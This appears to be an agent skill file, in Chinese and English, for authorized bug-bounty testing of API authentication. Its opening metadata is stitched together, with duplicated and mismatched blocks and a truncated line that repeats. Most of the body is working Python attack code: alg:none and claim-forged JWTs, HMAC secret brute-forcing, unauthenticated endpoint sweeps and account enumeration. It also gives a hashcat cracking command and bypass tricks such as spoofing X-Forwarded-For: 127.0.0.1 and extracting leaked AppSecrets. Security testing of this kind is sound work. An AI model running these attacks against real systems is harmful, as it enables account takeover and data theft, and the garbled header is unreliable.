TL;DR
目的:API 认证弱点测试:JWT 缺陷(none/弱密钥/混淆)、token 泄露、接口鉴权缺失与 BOLA。 token validation, missing authentication on endpoints, weak password p…
适用:Web 漏洞挖掘(Web目标)
输入:目标 URL + 端点/参数清单
输出:可复现 POC + 利用步骤
红线:B 模式 ≤10 次+确认门;A 模式批准后全量;超限重新走确认
关联:上游:003-src-session-start → 下游:043-hunt-nosqli, 027-hunt-cors, 028-hunt-csrf
token validation, missing authentication on endpoints, weak password p…
适用:Web 漏洞挖掘(Web目标)
输入:目标 URL + 账号清单(≤10,B 模式)
输出:爆破结果表(成功/失败/锁定)
红线:B 模式 ≤10 次+确认门;A 模式批准后全量;超限重新走确认
关联:上游:01-src-component-nday / 65-hunt-sqli → 下游:111-fp-check / 122-second-opinion
token validation, missing authentication on endpoints, weak password p…
适用:Web 漏洞挖掘(Web目标)
输入:目标 URL + 账号清单(≤10,B 模式)
输出:爆破结果表(成功/失败/锁定)
红线:B 模式 ≤10 次+确认门;A 模式批准后全量;超限重新走确认
关联:上游:01-src-component-nday / 65-hunt-sqli → 下游:111-fp-check / 122-second-opinion
HARD RULES: Brute Force Discipline (Global)
本 skill 中所有在线爆破动作(登录爆破/口令 spray/token 枚举)必须遵守全局爆破纪律: 爆破前暂停等用户确认(任务卡模板见 00-爆破规则.md / dig/AGENTS.md); B 模式(SRC):≤10 次、候选≤10(最常见→默认→衍生)、随机3-15s、单线程、禁并发与 IP 旋转; A 模式(项目全量):批准后解锁全量。
Testing API Authentication Weaknesses
When to Use
- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment
- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
- Testing API key generation, storage, and rotation mechanisms for predictability or leakage
- Validating session management including token expiration, revocation, and refresh token security
Do not use without written authorization. Authentication testing involves attempting to bypass security controls.
Prerequisites
- Written authorization specifying target API and authentication mechanisms in scope
- Valid test credentials for at least two user roles (regular user, admin)
- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
- Python 3.10+ with
requests,PyJWT, andjwtlibraries - Wordlists for credential testing (SecLists authentication wordlists)
- API documentation or OpenAPI specification
Workflow
Step 1: Authentication Mechanism Identification
import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
# Probe the API to identify authentication mechanisms
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Endpoint accessible without authentication")
# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"Auth scheme advertised: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": "testuser@example.com", "password": "TestPass123!"})
if login_resp.status_code == 200:
login_data = login_resp.json()
# Check for JWT tokens
for key in ["token", "access_token", "jwt", "id_token"]:
if key in login_data:
token = login_data[key]
if token.count('.') == 2:
auth_indicators["jwt_bearer"] = True
print(f"JWT found in response field: {key}")
# Check for refresh tokens
for key in ["refresh_token", "refresh"]:
if key in login_data:
print(f"Refresh token found in field: {key}")
# Check for session cookies
for cookie in login_resp.cookies:
print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
if "session" in cookie.name.lower():
auth_indicators["session_cookie"] = True
print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
Step 2: Unauthenticated Endpoint Discovery
# Test all endpoints without authentication
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not in (401, 403):
content_preview = resp.text[:100] if resp.text else "empty"
print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
except requests.exceptions.RequestException:
pass
Step 3: JWT Token Analysis
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""Decode JWT header and payload without verification."""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")
# Security checks
issues = []
# Check 1: Algorithm
if header.get("alg") == "none":
issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
# Check 2: Expiration
if "exp" not in payload:
issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
import time
exp_time = payload["exp"]
ttl = exp_time - time.time()
if ttl > 86400:
issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
if field in payload:
issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
issues.append(f"MEDIUM: Missing standard claims: {missing}")
# Check 5: Key ID
if "kid" in header:
kid = header["kid"]
# Test for path traversal in kid
issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
for issue in issues:
print(f" [{issue.split(':')[0]}] {issue}")
Step 4: JWT Manipulation Attacks
# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
"""Create a token with alg:none to bypass signature verification."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
# Variations of the none algorithm
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
"""Modify payload claims and test if server validates signature."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
def brute_force_jwt_secret(token):
"""Try common secrets against HMAC-signed JWTs."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
print("Not an HMAC token, skipping brute force")
return None
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
hash_func = {
'HS256': hashlib.sha256,
'HS384': hashlib.sha384,
'HS512': hashlib.sha512
}[header['alg']]
for secret in COMMON_JWT_SECRETS:
expected_sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip('=')
if expected_sig == signature:
print(f"[CRITICAL] JWT secret found: '{secret}'")
return secret
print("No common secrets matched - consider using hashcat/john for extended brute force")
return None
# Test all attacks
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {none_token}"})
if resp.status_code == 200:
print(f"[CRITICAL] alg:none bypass successful")
# Test privilege escalation via claim modification
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
print("[CRITICAL] JWT claim modification accepted without signature validation")
brute_force_jwt_secret(token)
Step 5: Token Lifecycle Testing
# Test 1: Token reuse after logout
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")
# Try to use the token after logout
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
print("[HIGH] Token still valid after logout - no server-side revocation")
# Test 2: Token reuse after password change
# (requires changing password and then testing old token)
# Test 3: Refresh token rotation
refresh_token = login_data.get("refresh_token")
if refresh_token:
# Use refresh token
refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
new_tokens = refresh_resp.json()
# Try to reuse the same refresh token (should fail if rotation is implemented)
reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
if reuse_resp.status_code == 200:
print("[HIGH] Refresh token reuse allowed - no rotation implemented")
# Test 4: Token in URL (leakage risk)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")
Step 6: Password Policy and Credential Testing
# Test password policy enforcement on registration/change endpoints
weak_passwords = [
"a", # Too short
"password", # Common password
"12345678", # Numeric only
"abcdefgh", # Alpha only, no complexity
"Password1", # Meets basic complexity but is common
"", # Empty
" ", # Whitespace
]
for pwd in weak_passwords:
resp = requests.post(f"{BASE_URL}/auth/register",
json={"email": f"test_{hash(pwd)%9999}@example.com",
"password": pwd, "name": "Test User"})
if resp.status_code in (200, 201):
print(f"[WEAK POLICY] Password accepted: '{pwd}'")
# Test account enumeration via login response differences
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"
resp_valid = requests.post(f"{BASE_URL}/auth/login",
json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
json={"username": invalid_email, "password": "wrongpassword"})
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
print(f"[MEDIUM] Account enumeration possible:")
print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
Key Concepts
| Term | Definition |
|---|---|
| Broken Authentication | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |
| JWT (JSON Web Token) | Self-contained token format with header.payload.signature structure, used for stateless API authentication |
| Token Revocation | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |
| Credential Stuffing | Automated attack using leaked username/password pairs against authentication endpoints |
| Account Enumeration | Determining valid usernames through different error messages or response times for valid vs invalid accounts |
| Refresh Token Rotation | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |
Tools & Systems
- Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWT tokens with various attack modes
- jwt_tool: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing
- hashcat: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)
- Hydra: Network login brute-forcer supporting HTTP form-based and API authentication testing
- Nuclei: Template-based scanner with authentication bypass detection templates
Common Scenarios
Scenario: SaaS Platform API Authentication Assessment
Context: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.
Approach:
- Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role
- Test alg:none bypass: server rejects the token (secure)
- Brute force the HMAC secret: discover the secret is "company-jwt-secret-2023" (found using hashcat with custom wordlist)
- Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints
- Test token revocation: tokens remain valid after logout and password change (no blacklist)
- Test refresh token: refresh token has no expiration and can be reused indefinitely
- Find that the password reset endpoint returns different messages for valid vs invalid emails
- Discover that the
/healthand/metricsendpoints are accessible without authentication
Pitfalls:
- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows
- Not checking if the JWT secret is the same across all environments (dev, staging, production)
- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week
- Not testing for token leakage in server logs, URL parameters, or error messages
Output Format
## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
- POST /api/v1/auth/login (token issuance)
- All authenticated endpoints (token validation)
- POST /api/v1/auth/logout (ineffective)
**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.
**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services
Validation Criteria
A successful discovery of this vulnerability class must demonstrate:
- POC reproducible against fresh target instance (timestamp documented)
- Impact scope quantified (data leaked / privilege gained / RCE achieved)
- CVSS or business risk score assigned
- Authorization scope documented (B SRC vs target, A 项目 vs 全量)
- No destructive side effects (if RCE, sandboxed proof preferred)
- Affected endpoint clearly identified with full URL/request
If any of these cannot be demonstrated, treat the finding as inconclusive and run 111-fp-check for cross-verification.
认证链回码差分与侧信道(MERGE-2026-09)
来源:社区 SRC 实战经验包(2026-08 共享版)整理;本节全部手法行带「假点」(证伪条件),单站失败不得写成手法失效。
| 认 | 打 | 算成 | 假点 |
|---|---|---|---|
| 接口验签失败响应 302 | 观察 302 的 Location:部分实现把服务端刚算出的合法签拼在回显里 | 用该合法签重放原请求成功 | 签与请求绑定(含 nonce/时间戳)时=假点 |
| 发签口回包 nonce 字段 | nonce 值以 MIIE 开头 → 当 PKCS8 私钥 load |
能解析出完整私钥并签出可用凭据 | Base64 误判(普通 token 同前缀概率低但需 load 成功才算) |
| 未登录改密接口 | 旧密码/验证码置空、改为空数组;观察"历史密码重复"类报错差异 | 报错差异证明提交已写库(可区分对错旧密码)=侧信道成立 | 仅前端校验差异(响应体无服务端语义差)=假点 |
| IP 白名单鉴权 | 加 X-Forwarded-For: 127.0.0.1(及内网段)重放 |
白名单放行,接口返回业务数据 | 上层代理会重写 XFF 时=假点 |
| 开发文档/wiki 写死 AppSecret | wiki 打码别停:同套部署包 zip、Demo 工程、npm/pip 历史版本里常仍明文 | 任一渠道取到完整 secret 且对照生产认证通过 | 只找到变量名未取到实值=不算 |
- 通用纪律:回码差分要留"正常 vs 篡改"两组原始响应做证据;只写差分语义,不贴全量报文。